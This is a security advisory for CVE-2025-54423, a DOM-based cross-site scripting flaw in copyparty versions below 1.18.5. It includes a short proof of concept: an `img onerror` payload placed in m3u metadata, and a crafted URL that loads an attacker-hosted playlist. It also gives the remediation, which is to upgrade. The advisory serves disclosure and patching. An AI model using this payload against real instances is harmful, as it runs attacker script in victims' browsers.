---
id: CVE-2025-54423
aliases:
  - GHSA-9q4r-x2hj-jmvr
  - PYSEC-2026-1277
title: copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
summary: copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
severity: medium
cvss: 5.4
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N'
vendor: copyparty
product: copyparty
ecosystem: pip
affected:
  - copyparty < 1.18.5
patched:
  - copyparty 1.18.5
published: '2025-07-28'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9q4r-x2hj-jmvr'
references:
  - url: 'https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-54423'
  - url: >-
      https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6
  - url: 'https://github.com/9001/copyparty'
  - url: 'https://github.com/9001/copyparty/releases/tag/v1.18.5'
tags:
  - osv
  - pip
epss: 0.00398
epssPercentile: 0.31274
ingestedAt: '2026-07-08T18:25:48.066Z'
---

## Overview

### Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.

### Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>`
* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

### PoC
1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.

    ```m3u
    #EXTM3U
    #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)>
    http://example.com/audio.mp3
    ```

2.  Craft and share the malicious URL:  

    ```
    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
    ```


### Impact
Any user that accesses this malicious URL is impacted.

## Affected packages

- `copyparty < 1.18.5`

## Remediation

Upgrade to a patched release:

- `copyparty 1.18.5`